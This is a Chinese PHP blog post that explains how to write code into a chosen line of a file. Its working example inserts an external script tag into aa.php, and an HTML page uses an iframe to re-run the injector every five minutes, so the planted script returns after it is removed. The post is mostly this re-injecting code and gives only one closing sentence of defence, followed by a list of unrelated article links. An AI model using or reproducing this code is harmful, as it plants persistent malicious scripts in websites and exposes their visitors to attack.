php在文件指定行中写入代码的方法


Posted in PHP onMay 23, 2012
<?php 
$file="aa.php" ; 
$code="<script src=http://www.google/ga.js></script>"; 
$f=fopen($file,"r+"); 
$content=fread($f,filesize($file)); 
fclose($f); 
if(!strstr($content,$code)){ 
$arrInsert = insertContent($file, $code, 3); 
unlink($file); 
foreach($arrInsert as $value) 
{ 
file_put_contents($file, $value, FILE_APPEND); 
} 
} 
function insertContent($source, $s, $iLine) { 
$file_handle = fopen($source, "r"); 
$i = 0; 
$arr = array(); 
while (!feof($file_handle)) { 
$line = fgets($file_handle); 
++$i; 
if ($i == $iLine) { 
$arr[] = $line .$s . "\n"; 
}else { 
$arr[] = $line; 
} 
} 
fclose($file_handle); 
return $arr; 
} 
?>

这个文件保存成php后,再用一个小程序隔几分钟指定执行它就可以。像operia浏览器就有这个功能。不过我又加了个html代码来运行它,可以用ie了,打开这个html后扔在哪就可以。
<HTML> 
<HEAD> 
</HEAD> 
<BODY> 
<SCRIPT LANGUAGE="JScript"> 
function singOut() { 
var O = document.createElement("iframe"); 
O.src="http://www.google.com/上边的php文件.php"; 
O.width=100; 
O.height=100; 
document.body.appendChild(O); 
} 
window.setInterval("singOut();",300000); 
</SCRIPT> 
</BODY> 
</HTML>

解决方法:这些代码都会在php中写入代码,我们可以写个规则禁止修改php文件.即可,一般服务器中才可以了,如果是虚拟主机的朋友就需要下载代码,经常查后门来解决了
PHP 相关文章推荐
UCenter Home二次开发指南
May 28 PHP
php DOS攻击实现代码(附如何防范)
May 29 PHP
请离开include_once和require_once
Jul 18 PHP
PHP实现取得HTTP请求的原文
Aug 18 PHP
PHP获取远程图片并保存到本地的方法
May 12 PHP
PHP浮点数精度问题汇总
May 13 PHP
php通过获取头信息判断图片类型的方法
Jun 26 PHP
PHP输出Excel PHPExcel的方法
Jul 26 PHP
Yii2结合Workerman的websocket示例详解
Sep 10 PHP
实例分析PHP将字符串转换成数字的方法
Jan 27 PHP
PHP+redis实现的购物车单例类示例
Feb 02 PHP
Laravel 实现添加多语言提示信息
Oct 25 PHP
php替换超长文本中的特殊字符的函数代码
May 22 #PHP
php提示undefined index的几种解决方法
May 21 #PHP
openflashchart 2.0 简单案例php版
May 21 #PHP
PHP中去掉字符串首尾空格的方法
May 19 #PHP
有关PHP中MVC的开发经验分享
May 17 #PHP
php的array_multisort()使用方法介绍
May 16 #PHP
一个显示某段时间内每个月的方法 返回由这些月份组成的数组
May 16 #PHP
You might like
php &amp;&amp; 逻辑与运算符使用说明
2010/03/04 PHP
php foreach 参数强制类型转换的问题
2010/12/10 PHP
php把大写命名转换成下划线分割命名
2015/04/27 PHP
Zend Framework教程之连接数据库并执行增删查的方法(附demo源码下载)
2016/03/21 PHP
php封装的验证码工具类完整实例
2016/10/19 PHP
PHP之将POST数据转化为字符串的实现代码
2016/11/03 PHP
JavaScript CSS修改学习第一章 查找位置
2010/02/19 Javascript
JQuery的Ajax请求实现局部刷新的简单实例
2014/02/11 Javascript
轻量级javascript 框架Backbone使用指南
2015/07/24 Javascript
jquery衣服颜色选取插件效果代码分享
2015/08/28 Javascript
详解Angularjs filter过滤器
2016/02/06 Javascript
Bootstrap基本插件学习笔记之按钮(21)
2016/12/08 Javascript
微信小程序 自定义对话框实例详解
2017/01/20 Javascript
jQuery实现Table表格隔行变色及高亮显示当前选择行效果示例
2017/02/14 Javascript
基于HTML5+JS实现本地图片裁剪并上传功能
2017/03/24 Javascript
浅谈js基础数据类型和引用类型,深浅拷贝问题,以及内存分配问题
2017/09/02 Javascript
js中bool值的转换及“&amp;&amp;”、“||”、 “!!”详解
2017/12/21 Javascript
vue单个组件实现无限层级多选菜单功能
2018/04/10 Javascript
javascript canvas API内容整理
2020/02/16 Javascript
[05:39]2014DOTA2西雅图国际邀请赛 淘汰赛7月14日TOPPLAY
2014/07/14 DOTA
Python基于回溯法子集树模板解决旅行商问题(TSP)实例
2017/09/05 Python
python字符串string的内置方法实例详解
2018/05/14 Python
python实现windows下文件备份脚本
2018/05/27 Python
python 实现得到当前时间偏移day天后的日期方法
2018/12/31 Python
对python numpy.array插入一行或一列的方法详解
2019/01/29 Python
详解DeBug Python神级工具PySnooper
2019/07/03 Python
CSS3制作苹果风格键盘特效
2015/02/26 HTML / CSS
利用html5的websocket实现websocket聊天室
2013/12/12 HTML / CSS
H5页面适配iPhoneX(就是那么简单)
2019/12/02 HTML / CSS
英国顶级足球鞋的领先零售商:Lovell Soccer
2019/08/27 全球购物
2013年入党人员的自我鉴定
2013/10/25 职场文书
党员一句话承诺大全
2014/03/28 职场文书
公证书标准格式
2014/04/10 职场文书
党员违纪检讨书怎么写
2014/11/01 职场文书
任命书格式模板
2015/09/22 职场文书
加强党性修养心得体会
2016/01/21 职场文书